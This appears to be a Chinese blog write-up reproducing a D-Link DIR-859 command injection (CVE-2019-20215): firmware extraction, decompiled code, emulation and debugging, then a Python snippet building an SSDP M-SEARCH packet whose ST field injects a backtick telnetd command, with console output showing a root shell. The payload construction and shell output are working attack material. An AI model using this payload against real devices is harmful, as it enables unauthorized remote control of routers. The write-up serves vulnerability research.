<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    D-Link 路由器漏洞復現(CVE-2019-20215)

    VSole2021-12-17 06:39:22

    前言

    本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,真機

    CVE-2019-20215

    漏洞描述

    根據漏洞描述可以獲得到的信息:

    • 漏洞點為/htdocs/cgibin中的ssdpcgi()函數
    • HTTP_ST的處理邏輯中存在命令注入

    固件獲取

    打開外殼,全封死了,準備放棄來著,但是在背面發現一個類似SOP8的東西,嘗試對它進行讀取

    用燒錄夾一夾上就識別到固件,對它進行提取:

    ?  Desktop sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2048 -r tp.bin 
    flashrom  on Linux 5.4.83-v7l+ (armv7l)
    flashrom is free software, get the source code at https://flashrom.org
    Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
    Found Macronix flash chip "W25Q128.V" (16384 kB, SPI) on linux_spi.
    Reading flash... done.
    

    至此就獲得到了固件,雖然是1.02版本的,但無傷大雅:


    在官網上也可以下載(http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-859)到含有漏洞的.bin文件,不過版本會高一些

    逆向分析

    通過對固件的解包,拿到cgibin之后,通過字符串很容易定位到漏洞函數中,可以看到HTTP_ST只是進行strncmp,并沒有進行過濾就直接傳遞給lxmldbc_system(),然后進行拼接就直接傳遞給system()函數,很明顯存在命令注入

    int __fastcall ssdpcgi_main(int a1)
    {
      result = -1;
      if ( a1 == 2 )
      {
        v2 = getenv("HTTP_ST");
        v3 = getenv("REMOTE_ADDR");
        v5 = getenv("REMOTE_PORT");
        v4 = getenv("SERVER_ID");
        if ( v2 && v3 && v5 && v4 )
        {
          if ( !strncmp(v2, "ssdp:all", 8u) )
          {
            v6 = "%s ssdpall %s:%s %s &";
    LABEL_17:
            lxmldbc_system(v6);
            return 0;
          }
          if ( !strncmp(v2, "upnp:rootdevice", 0xFu) )
          {
            v6 = "%s rootdevice %s:%s %s &";
            goto LABEL_17;
          }
          if ( !strncmp(v2, "uuid:", 5u) )
          {
            v6 = "%s uuid %s:%s %s %s &";
            goto LABEL_17;
          }
          v7 = strncmp(v2, "urn:", 4u) != 0;
          result = 0;
          if ( v7 )
            return result;
          if ( strstr(v2, ":device:") )
          {
            v6 = "%s devices %s:%s %s %s &";
            goto LABEL_17;
          }
          if ( strstr(v2, ":service:") )
          {
            v6 = "%s services %s:%s %s %s &";
            goto LABEL_17;
          }
          result = 0;
        }
        else
        {
          result = -1;
        }
      }
      return result;
    }
    int lxmldbc_system(char *format, ...)
    {
      char v2[1028]; // [sp+1Ch] [-404h] BYREF
      va_list va; // [sp+42Ch] [+Ch] BYREF
      va_start(va, format);
      vsnprintf(v2, 0x400u, format, va);
      return system(v2);
    }
    

    demo測試

    當不確定是否存在漏洞的時候,建議還是寫個demo,減少誤判的可能,demo如下:

    #include 
    #include 
    void sys(char *format, ...)
    {
      char value [1028];
      va_list va;
      va_start(va, format);
      vsnprintf(value,0x400,format,va);
      system(value);
    }
    int main(void){
      char *command = "aaa;ls;";
      sys("%s services",command);
      return 0;
    }
    

    vsnprintf和snprintf的區別就是加了個可變的參數,具體可以看看下面的鏈接:

    • 可變參數函數詳解(https://www.cnblogs.com/clover-toeic/p/3736748.html)

    運行之后,成功執行命令:

    ? ./demo1             
    sh: 1: aaa: not found
    1.c  a.out  demo1  demo1.c #ls
    sh: 1: services: not found
    

    用戶級模擬

    通過qemu暴露端口進行調試:

    sudo chroot . ./qemu-mips-static -0 "ssdpcgi" -E REMOTE_ADDR=127.0.0.1 -E SERVER_ID=1 -E REMOTE_PORT=8888 -E HTTP_ST="urn:device:1;ls" -E REQUEST=/ -E REQUEST_METHOD=M-SEARCH  -g 1234 ./htdocs/cgibin
    
    -0: 要請求的cgi
    E: 傳入自定義的環境變量

    這個端口不僅IDA可以連,GDB也能連,下斷點到關鍵的位置,修改一下寄存器,因為是用戶級模擬的原因,需要繞過一些判斷才能看到拼接起來的命令

    b *0x40f3b8
    c
    set $a0=0x2
    

    往下走就看到了完整的命令($s0寄存器中),也可以看到urn:device;ls,命令是成功注入進去了:

    之后c一下就能看到它成功的執行了ls命令,至此確定它是存在命令注入的:

    漏洞POC編寫

    找到了漏洞點之后,就要想辦法去觸發這個漏洞,通常情況下是通過讓某個端口發包,讓它自己去觸發業務的邏輯,那首先就要構造惡意的數據包,所以去找一下處理這段數據的代碼,那還是通過字符串來定位,因為在開發的時候,大部分都是情況下多個程序都不是同一個人開發出來的,那怎么告訴別人這段代碼到底在做什么或者說兩個不同的程序之間是如何產生聯系的呢?答:字符串

    通過grep匹配文件,可以看到下面匹配到了兩個二進制文件,一個是剛剛分析過的文件,剩下的文件沒分析過,我們用IDA打開看看

    ?  squashfs-root grep -r "upnp:rootdevice"
    匹配到二進制文件 htdocs/cgibin
    匹配到二進制文件 usr/sbin/hostapd
    etc/scripts/upnp/M-SEARCH.php:          SSDP_ms_send_resp($TARGET_HOST, $phyinf, $max_age, $date, $location, $server, "upnp:rootdevice", $uuid."::upnp:rootdevice");
    etc/scripts/upnp/M-SEARCH.php:      echo "# SSDP_ms_send_resp(".$TARGET_HOST.", ".$phyinf.", ".$max_age.", ".$date.", ".$location.", ".$server.", \"upnp:rootdevice\", ".$uuid."\"::upnp:rootdevice\")";
    etc/scripts/upnp/M-SEARCH.php:          SSDP_ms_send_resp($TARGET_HOST, $phyinf, $max_age, $date, $location, $server, "upnp:rootdevice",    $uuid."::upnp:rootdevice");
    etc/scripts/upnp/NOTIFYAB.php:      $nt = "upnp:rootdevice";
    etc/scripts/upnp/NOTIFYAB.php:      $usn= $uuid."::upnp:rootdevice";
    

    拖進IDA之后,交叉引用很容易定位到關鍵點

    來到關鍵處就能看到它先接收數據,然后對數據的一些字段進行處理,下面的代碼刪除了部分代碼,具體看hostapd,可以獲取到的信息如下:

    • 一共有M-SEARCHhoststurn:xxx:1manmxssdp:discover這些字段
     v3 = *(_DWORD *)(a3 + 52);
      addr_len = 16;
      v5 = recvfrom(v3, v54, 0x63Fu, 0, &addr, &addr_len);
      v6 = v5 <= 0;
      v7 = (char *)&addr_len + v5;
      if ( !v6 )
      {
        v7[20] = 0;
        v8 = strncasecmp(v54, "M-SEARCH", 8u);
        v9 = *(_DWORD *)&addr.sa_data[2];
        v55 = *(unsigned __int16 *)addr.sa_data;
        if ( !v8 )
        {
          v10 = v54;
          if ( (*(_WORD *)(_ctype_b + 2 * v54[8]) & 0x80) == 0 )
          {
    ...
    LABEL_13:
              v23 = v13 < v22;
              do
              {
                --v22;
                if ( !v23 )
                  break;
                v23 = v13 < v22;
              }
              while ( (*(_WORD *)(_ctype_b + 2 * *v22) & 0x80) == 0 );
              if ( sub_449284(v13, "host") )
              {
                v18 = 1;
                goto LABEL_68;
              }
              v24 = sub_449284(v13, "st");
              v25 = v13;
              if ( v24 )
              {
                while ( 1 )
                {
                  v26 = *v25;
                  if ( (*(_WORD *)(_ctype_b + 2 * v26) & 0x800) == 0 && v26 != '_' )
                  {
                    v27 = v25;
                    if ( v26 != 45 )
                      break;
                  }
                  ++v25;
                }
                while ( 1 )
                {
                  v28 = *v27;
                  if ( v28 != ' ' && v28 != '\t' )
                    break;
                  ++v27;
                }
                v13 = v27;
                if ( *v27 != ':' )
                  goto LABEL_69;
                for ( i = v27 + 1; ; ++i )
                {
                  v30 = *i;
                  if ( v30 != 32 && v30 != 9 )
                    break;
                }
                v13 = (char *)i;
                if ( strncmp(i, "ssdp:all", 8u) && strncmp(v13, "upnp:rootdevice", 0xFu) )
                {
                  if ( strncmp(v13, "uuid:", 5u) )
                  {
                    if ( strncmp(v13, "urn:schemas-upnp-org:device:InternetGatewayDevice:1", 0x33u)
                      && strncmp(v13, "urn:schemas-wifialliance-org:service:WFAWLANConfig:1", 0x34u) )
                    {
                      v32 = strncmp(v13, "urn:schemas-wifialliance-org:device:WFADevice:1", 0x2Fu);
                      goto LABEL_37;
                    }
                  }
                  else
                  {
                    v13 += 5;
                    v31 = strlen((const char *)(a3 + 136));
                    v32 = strncmp(v13, (const char *)(a3 + 136), v31);
    LABEL_37:
                    if ( v32 )
                    {
                      v27 = v13;
                      goto LABEL_69;
                    }
                  }
                }
                v17 = 1;
                goto LABEL_68;
              }
              v33 = sub_449284(v13, "man");
              v34 = v13;
              if ( !v33 )
              {
                v6 = !sub_449284(v13, "mx");
                v27 = v13;
                if ( v6 )
                  goto LABEL_69;
                for ( j = v13; ; ++j )
                {
                  v40 = *j;
                  if ( (*(_WORD *)(_ctype_b + 2 * v40) & 0x800) == 0 && v40 != '_' )
                  {
                    v27 = j;
                    if ( v40 != '-' )
                      break;
                  }
                }
    ...
    LABEL_69:
              while ( 1 )
              {
                v44 = *v27;
                if ( !*v27 )
                  break;
                v45 = ++v27;
                if ( v44 == '' )
                {
                  v46 = v45 - v13;
                  goto LABEL_73;
                }
              }
              v46 = v27 - v13;
    LABEL_73:
              v13 += v46;
            }
            for ( l = v27 + 1; ; ++l )
            {
              v38 = *l;
              if ( v38 != 32 && v38 != 9 )
                break;
            }
            v13 = (char *)l;
            v16 = 1;
            if ( !strncmp(l, "\"ssdp:discover\"", 0xFu) )
            {
              v27 = v13;
              goto LABEL_69;
            }
          }
        }
      }
    }
    

    交叉引用回去看看,可以看到一套socket建立的過程,里面也有此服務的ip和端口號,到此已經知道它是通過socket來觸發這個漏洞的,接下來就是通過動態調試來看看這些字段具體的參數到底是什么

    int __fastcall upnp_wps_device_start(_DWORD *a1, const char *a2, int a3)
    {
      if ( !a1 || !a2 )
        return -1;
      v5 = a1[5];
      v26 = 4;
      if ( v5 )
        sub_447CF4(a1, (int)a2, a3);
      a1[6] = strdup(a2);
      a1[12] = -1;
      a1[13] = -1;
      a1[5] = 1;
      a1[15] = 0;
      memset(v32, 0, 0x54u);
      v6 = socket(2, 1, 0);
      if ( v6 == -1 )
        goto LABEL_39;
      v32[17] = a2;
      HIWORD(v32[1]) = 2;
      LOWORD(v32[1]) = 0;
      v32[2] = inet_addr("239.0.0.0");
      HIWORD(v32[9]) = 2;
      LOWORD(v32[9]) = 0;
      v32[10] = inet_addr("255.0.0.0");
      HIWORD(v32[13]) = 1;
      v9 = 0;
      if ( ioctl(v6, 0x890Bu, v32) < 0 )
      {
        v9 = -1;
        if ( *_errno_location() == 17 )
          v9 = 0;
      }
      close(v6);
      if ( v9 )
        goto LABEL_39;
      v10 = 1;
      for ( i = a2; v10 != 11 && sub_443E74(i, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7); i = a2 )
      {
        ++v10;
        sleep(1u);
      }
      if ( !a1[10] )
      {
        strcpy(v30, a2);
        strcat(v30, ":1");
        if ( sub_443E74(v30, (struct in_addr *)a1 + 11, (void **)a1 + 10, a1 + 8, (void **)a1 + 7) )
        {
    LABEL_39:
          sub_447CF4(a1, v8, v7);
          return -1;
        }
      }
      v14 = socket(2, 2, 0);
      a1[27] = v14;
      if ( v14 < 0 )
        goto LABEL_26;
      v15 = 45555;
      if ( fcntl(v14, 4, 128) )
        goto LABEL_26;
      while ( 1 )
      {
        v16 = a1[11];
        v17 = a1[27];
        *(_WORD *)v31.sa_data = v15;
        *(_DWORD *)&v31.sa_data[2] = v16;
        v31.sa_family = 2;
        if ( !bind(v17, &v31, 0x10u) )
          break;
        ++v15;
        if ( *_errno_location() != 125 || v15 == 0xFFFF )
          goto LABEL_26;
      }
      v18 = listen(a1[27], 10);     
      v13 = 4;
      if ( v18 || (v19 = fcntl(a1[27], 4, 128), v12 = 4456448, v19) || eloop_register_sock(a1[27], 0, sub_444960, 0, a1) )
      {
    LABEL_26:
        sub_44477C(a1, v13, v12);
        goto LABEL_39;
      }
      a1[26] = v15;
      v27[0] = 4;
      a1[28] = 1;
      v28 = 1;
      v20 = socket(2, 1, 0);
      v21 = v20;
      a1[13] = v20;
      if ( v20 < 0 )
        goto LABEL_35;
      if ( fcntl(v20, 4, 128) )
        goto LABEL_35;
      if ( setsockopt(v21, 0xFFFF, 4, &v28, 4u) )
        goto LABEL_35;
      v31.sa_family = 2;
      *(_WORD *)v31.sa_data = 1900;     //端口號
      *(_DWORD *)&v31.sa_data[6] = 0;
      *(_DWORD *)&v31.sa_data[10] = 0;
      *(_DWORD *)&v31.sa_data[2] = 0;
      if ( bind(v21, &v31, 0x10u)       //綁定端口
        || (v29[0] = 0, v29[1] = 0, v29[0] = inet_addr("239.255.255.250"), setsockopt(v21, 0, 35, v29, 8u))
        || setsockopt(v21, 0, 33, v27, 1u)
        || eloop_register_sock(v21, 0, sub_4493DC, 0, a1) )     //設置ip
      {
    LABEL_35:
        sub_4447F8(a1);
        goto LABEL_39;
      }
      a1[14] = 1;
      v22 = socket(2, 1, 0);
      a1[12] = v22;
      if ( v22 < 0 )
        goto LABEL_39;
      if ( setsockopt(v22, 0, 32, a1 + 11, 4u) )
        goto LABEL_39;
      if ( setsockopt(v22, 0, 33, &v26, 1u) )
        goto LABEL_39;
      v23 = sub_442950(a1);
      v24 = 0;
      if ( v23 )
        goto LABEL_39;
      return v24;
    }
    

    真機調試

    這里用的是另一個漏洞來獲得調試,用CVE-2019–17621這個漏洞的exp打進去搭建一個調試環境,這里get到一個點,就是如果串口沒有拿到或者串口沒有提供shell的這么一個調試環境,可以看看這個固件有什么其他沒有修復的漏洞,可以用它來搭建一個調試的環境,直接運行exp就獲得了一個shell

    ?  python exp.py 
    IP Router: 192.168.0.1
    [*] Connection 192.168.0.1:49152
    [*] Sending Payload
    [*] Running Telnetd Service
    [*] Opening Telnet Connection
    Trying 192.168.0.1...
    Connected to 192.168.0.1.
    Escape character is '^]'.
    BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh)
    Enter 'help' for a list of built-in commands.
    # 
    

    接下來就是通過wget傳入gdbserver來暴露調試接口,這里用的海特的gdbserver-7.12-mips-mips32rel2-v1-sysv

    # cd tmp
    # ls
    gdbserver 
    

    通過ps可以看到hostapd的PID是多少:

    # ps
      PID USER       VSZ STAT COMMAND
    ...
     2470 0          788 S    /bin/sh /etc/scripts/hostapd_loop.sh 
     2529 0          800 S    /bin/sh 
     2793 0         2792 S    stunnel /var/stunnel.conf 
     2824 0         1076 S    udhcpd /var/servd/LAN-1-udhcpd.conf 
     2884 0         1512 S    hostapd /var/topology.conf 
     3004 0         1076 S    udhcpd /var/servd/LAN-2-udhcpd.conf 
     3289 0         1304 S    mDNSResponderPosix -b -i br0 -f /var/rendezvous.conf 
     3380 0         1000 S    dnsmasq -C /var/servd/DNS.conf 
    ...
    

    接下來就是正常暴露端口用gdb進行連接

    ./gdbserver :1234 --attach 2884
    #另開一個終端
    ? gdb-multiarch -q hostapd
    set arch mips
    set endian big
    target remote 192.168.0.1:1234
    

    連接上之后,在0x449454處下斷點,按下c可以看到完整的報文頭,可以看到ST字段中存在urn:xxx:1,它就是注入的字段


    按照上面的報文格式,構造報文,并在ST字段中進行注入,具體代碼如下:

    ip = "239.255.255.250"
    port = 1900
    backdoor = '`telnetd -p 8888 `'
    header = "M-SEARCH * HTTP/1.1"
    header += "HOST: "+str(ip)+str(port)+""
    header += 'MAN: \"ssdp:discover\"\r'
    header += "MX: 1\r"
    header += "ST: urn:dial-multiscreen-org:service:dial;"+str(backdoor)+":1\r"
    header += "USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\r"
    print(header)
    

    已經確定是通過發包觸發之后,接下來就是socket那一套了,創建套接字然后直接方法,這里用的是UDP來發送payload:

    • socket --- 底層網絡接口((https://docs.python.org/zh-cn/3.9/library/socket.html#module-socket)
    udp_socket=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
    udp_socket.sendto(pay,(ip, port))
    

    完整exp可以自己嘗試寫寫,這里就不放了,運行exp之后就拿到了shell

    ?  python exp.py
    M-SEARCH * HTTP/1.1
    HOST: 239.255.255.2501900
    MAN: "ssdp:discover"
    MX: 1
    ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1
    USER-AGENT: Google Chrome/87.0.4280.88 Windows
    Trying 192.168.0.1...
    Connected to 192.168.0.1.
    Escape character is '^]'.
    BusyBox v1.14.1 (2015-04-17 16:14:11 CST) built-in shell (msh)
    Enter 'help' for a list of built-in commands.
    # 
    

    掃一下端口,發現多開了個8888的端口:

    > nmap 192.168.0.1
    Nmap scan report for dlinkrouter (192.168.0.1)
    Host is up (0.0058s latency).
    Not shown: 993 closed tcp ports (reset)
    PORT      STATE SERVICE
    53/tcp    open  domain
    80/tcp    open  http
    443/tcp   open  https
    8888/tcp  open  sun-answerbook
    9999/tcp  open  abyss   #用CVE-2019–17621打開的端口
    49152/tcp open  unknown
    

    系統級模擬

    fat對于dlink似乎支持很好,真就一鍵模擬

    sudo ./fat DIR859Ax_FW105b03.bin
    

    等多一會就模擬成功了(記得等久一些):


    其實模擬也就是在熟悉一下模擬的方法,還是多搞搞真機會比較好,畢竟模擬的和真的它不一樣

    iot@attifyos > python exp.py 
    M-SEARCH * HTTP/1.1
    HOST: 239.255.255.2501900
    MAN: "ssdp:discover"
    MX: 1
    ST: urn:dial-multiscreen-org:service:dial;`telnetd -p 8888 `:1
    USER-AGENT: Google Chrome/87.0.4280.88 Windows
    Trying 192.168.0.1...
    Connected to 192.168.0.1.
    Escape character is '^]'.
    BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh)
    Enter 'help' for a list of built-in commands.
    # ls
    firmadyne   var         bin         usr         home        lost+found
    sbin        tmp         etc         proc        sys
    www         lib         mnt         htdocs      dev
    # 
    

    總結

    話講回來,構造數據包其實就是一個尋找漏洞文件與其他文件的關聯的這么一個過程,先通過字符串來定位到關鍵的地方,再逆向分析它與其他文件的關聯,這或許就是xuanxuan老師所講到的:“在IOT設備中的逆向和CTF中的逆向的區別”,最近發現cgi的文件似乎很常出問題,以后可以多關注一下它

    upnpchar
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    UDPX是一款功能強大的快速輕量級單數據包UDP掃描器,該工具基于Go語言開發,支持掃描和發現超過45種網絡服務,并且支持添加自定義的掃描服務類型。UDPX實現了一種基于單個數據包的方法,特定于協議的數據包被發送到定義的服務(端口)并等待響應。一種典型的技術是向目標機器上的每個端口發送0字節的UDP數據包。如果接收到對探測器的UDP響應(異常),則端口處于打開狀態。
    IP Spoofing也叫IP欺騙,其原理是攻擊者機器A利用軟件構造一個虛假不存在的IP地址,并以此不存在地址為源IP地址向受害者機器B發送SYN報文,請求建立TCP/IP連接。目標機器B接收到這個SYN報文后,會將收到的SYN報文中的源IP地址提取出來,并將此IP作為目的IP,回復一個ACK/SYN確認報文給B,并等待接收來自B的確認報文。
    前言本來是打算來挖它的,去搜索它以往爆出的漏洞,就先復現玩玩了,這次用了三種方法來驗證,分別為用戶級模擬,系統級模擬,
    隨著網絡發展,很多大型企業具備較強的服務提供能力,所以應付單個請求的攻擊已經不是問題。道高一尺,魔高一丈,于是乎攻擊者就組織很多同伙,同時提出服務請求,直到服務無法訪問,這就叫“分布式”。但是在現實中,一般的攻擊者無法組織各地伙伴協同“作戰”,所以會使用“僵尸網絡”來控制N多計算機進行攻擊。
    Mozi僵尸網絡是在2019年底首次出現在針對路由器和DVR的攻擊場景上的一種P2P僵尸網絡。主要攻擊物聯網(IoT)設備,包括網件,D-Link和華為等路由設備。它本質上是Mirai的變種,但也包含Gafgyt和IoT Reaper的部分代碼,用于進行DDoS攻擊,數據竊取,垃圾郵件發送以及惡意命令執行和傳播。目前其規模已經迅速擴大,據統計目前已占到所有物聯網(IoT)僵尸網絡流量的90%。
    UPnP協議易受DDoS攻擊的原因是因為它具有自動發現功能。盡管設備保護服務在UPnP協議上增加了一層額外的安全保護,但大多數UPnP設備制造商并未采用該技術。建議設備制造商默認禁用UPnP SUBSCRIBE功能,并需要用戶同意和適當的網絡限制才能啟用該功能。為了防止這些形式的攻擊,組織可以通過訪問敏感信息來禁用對IoT設備的UPnP支持。
    前言UPNP協議UPNP,全稱為:Universal Plug and Play,中文為:通用即插即用,是一套基于TCP/IP、UDP和HTTP的網絡協議。UPNP的一大亮點就是,只要某設備支持并開啟了UPNP,當主機向其發出端口映射請求的時候,該設備就會自動為主機分配端口并進行端口映射。
    0x01 前言最近 UPnP 比較火,恰好手里有一臺 Cisco RV110W,在 2021 年 8 月份思科官方公布了一個 Cisco RV 系列關于 UPnP 的 0day,但是具體的細節并沒有公布出來。
    監控僵尸網絡的安全研究人員發現,上個月攜帶惡意有效載荷的電子郵件增加了十倍。UPnP是一組不安全的網絡協議,沒有加密和身份驗證,支持設備之間的對等通信。它還允許他們動態加入和離開網絡,獲取IP地址,宣傳他們的能力,并了解網絡上的其他UPnP設備及其能力。僵尸網絡的源代碼已經公開了半年左右,因為它是在2021年10月泄露的。這三個漏洞都是ESET研究人員發現的,并于去年10月向聯想負責地報告。
    8月18日,Cisco發布安全公告,修復了Cisco Small Business RV110W、RV130、RV130W和RV215W路由器存在遠程代碼執行和拒絕服務漏洞。建議受影響用戶通過漏洞緩解措施進行防護,做好資產自查以及預防工作。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类